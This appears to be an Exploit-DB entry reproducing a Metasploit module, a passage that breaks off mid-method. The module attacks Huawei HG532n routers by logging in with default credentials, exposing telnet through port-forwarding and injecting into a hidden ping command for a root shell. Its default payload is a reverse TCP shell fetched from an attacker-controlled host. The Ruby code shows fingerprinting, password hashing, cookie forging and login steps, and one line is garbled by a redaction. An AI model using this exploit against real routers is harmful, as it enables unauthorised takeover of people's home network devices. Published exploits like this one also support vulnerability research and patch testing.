Exploit-DB #41895
Description: Huawei HG532n - Command Injection (Metasploit)
Type: remote
Platform: hardware
Date: 2017-04-19
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'base64'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(
      info,
      'Name'        => 'Huawei HG532n Command Injection',
      'Description' => %q(
        This module exploits a command injection vulnerability in the Huawei
        HG532n routers provided by TE-Data Egypt, leading to a root shell.

        The router's web interface has two kinds of logins, a "limited" user:user
        login given to all customers and an admin mode. The limited mode is used
        here to expose the router's telnet port to the outside world through NAT
        port-forwarding.

        With telnet now remotely accessible, the router's limited "ATP command
        line tool" (served over telnet) can be upgraded to a root shell through
        an injection into the ATP's hidden "ping" command.
      ),
      'Author'         =>
        [
          'Ahmed S. Darwish <darwish.07@gmail.com>',    # Vulnerability discovery, msf module
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => ['linux'],
      'Arch'           => ARCH_MIPSBE,
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'PAYLOAD' => 'linux/mipsbe/mettle_reverse_tcp'
        },
      'Targets'        =>
        [
          [
            'Linux mipsbe Payload',
            {
              'Arch'     => ARCH_MIPSBE,
              'Platform' => 'linux'
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Apr 15 2017',
      'References' => [
        ['URL', 'https://github.com/rapid7/metasploit-framework/pull/8245']
      ]
    ))
    register_options(
      [
        OptString.new('HttpUsername', [false, 'Valid web-interface user-mode username', 'user']),
        OptString.new('HttpPassword', [false, 'Web-interface username password', 'user']),
        OptString.new('TelnetUsername', [false, 'Valid router telnet username', 'admin']),
        OptString.new('TelnetPassword', [false, 'Telnet username password', 'admin']),
        OptAddress.new('DOWNHOST', [false, 'Alternative host to request the MIPS payload from']),
        OptString.new('DOWNFILE', [false, 'Filename to download, (default: random)']),
        OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit to connect back", 60])
      ], self.class
    )
  end

  def check
    httpd_fingerprint = %r{
      \A
      HTTP\/1\.1\s200\sOK\r\n
      CACHE-CONTROL:\sno-cache\r\n
      Date:\s.*\r\n
      Connection:\sKeep-Alive\r\n
      Content-Type:\stext\/html\r\n
      Content-Length:\s\d+\r\n
      \r\n
      <html>\n<head>\n
      <META\shttp-equiv="Content-Type"\scontent="text\/html;\scharset=UTF-8">\r\n
      <META\shttp-equiv="Pragma"\scontent="no-cache">\n
      <META\shttp-equiv="expires"\sCONTENT="-1">\n
      <link\srel="icon"\stype="image\/icon"\shref="\/favicon.ico"\/>
    }x

    begin
      res = send_request_raw(
        'method' => 'GET',
        'uri'    => '/'
      )
    rescue ::Rex::ConnectionError
      print_error("#{rhost}:#{rport} - Could not connect to device")
      return Exploit::CheckCode::Unknown
    end

    if res && res.code == 200 && res.to_s =~ httpd_fingerprint
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Unknown
  end

  #
  # The Javascript code sends all passwords in the form:
  #      form.setAction('/index/login.cgi');
  #      form.addParameter('Username', Username.value);
  #      form.addParameter('Password', base64encode(SHA256(Password.value)));
  # Do the same base64 encoding and SHA-256 hashing here.
  #
  def hash_password(password)
    sha256 = OpenSSL::Digest::SHA256.hexdigest(password)
    Base64.encode64(sha256).gsub(/\s+/, "")
  end

  #
  # Without below cookies, which are also sent by the JS code, the
  # server will consider even correct HTTP requests invalid
  #
  def generate_web_cookie(admin: false, session: nil)
    if admin
      cookie =  'FirstMenu=Admin_0; '
      cookie << 'SecondMenu=Admin_0_0; '
      cookie << 'ThirdMenu=Admin_0_0_0; '
    else
      cookie =  'FirstMenu=User_2; '
      cookie << 'SecondMenu=User_2_1; '
      cookie << 'ThirdMenu=User_2_1_0; '
    end

    cookie << 'Language=en'
    cookie << "; #{session}" unless session.nil?
    cookie
  end

  #
  # Login to the router through its JS-based login page. Upon a successful
  # login, return the keep-alive HTTP session cookie
  #
  def web_login
    cookie = generate_web_cookie(admin: true)

    # On good passwords, the router redirect us to the /html/content.asp
    # homepage. Otherwise, it throws us back to the '/' login page. Thus
    # consider the ASP page our valid login marker
    invalid_login_marker = "var pageName = '/'"
    valid_login_marker = "var pageName = '/html/content.asp'"

    username = datastore['HttpUsername']
    [CREDENTIAL_REDACTED]['HttpPassword']

    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => '/index/login.cgi',
      'cookie'    => cookie,
      'vars_post' => {
        'Username' => username,
        'Password' => hash_password(password)
      }
    )
    fail_with(Failure::Unreachable, "Connection timed out") if res.nil?

    unless res.code == 200
      fail_with(Failure::NotFound, "Router returned unexpected HTTP code #{res.code}")
    end

    return res.get_cookies if res.body.include? valid_login_marker

    if res.body.include? invalid_login_marker
      fail_with(Failure::NoAccess, "Invalid web interface credentials #{user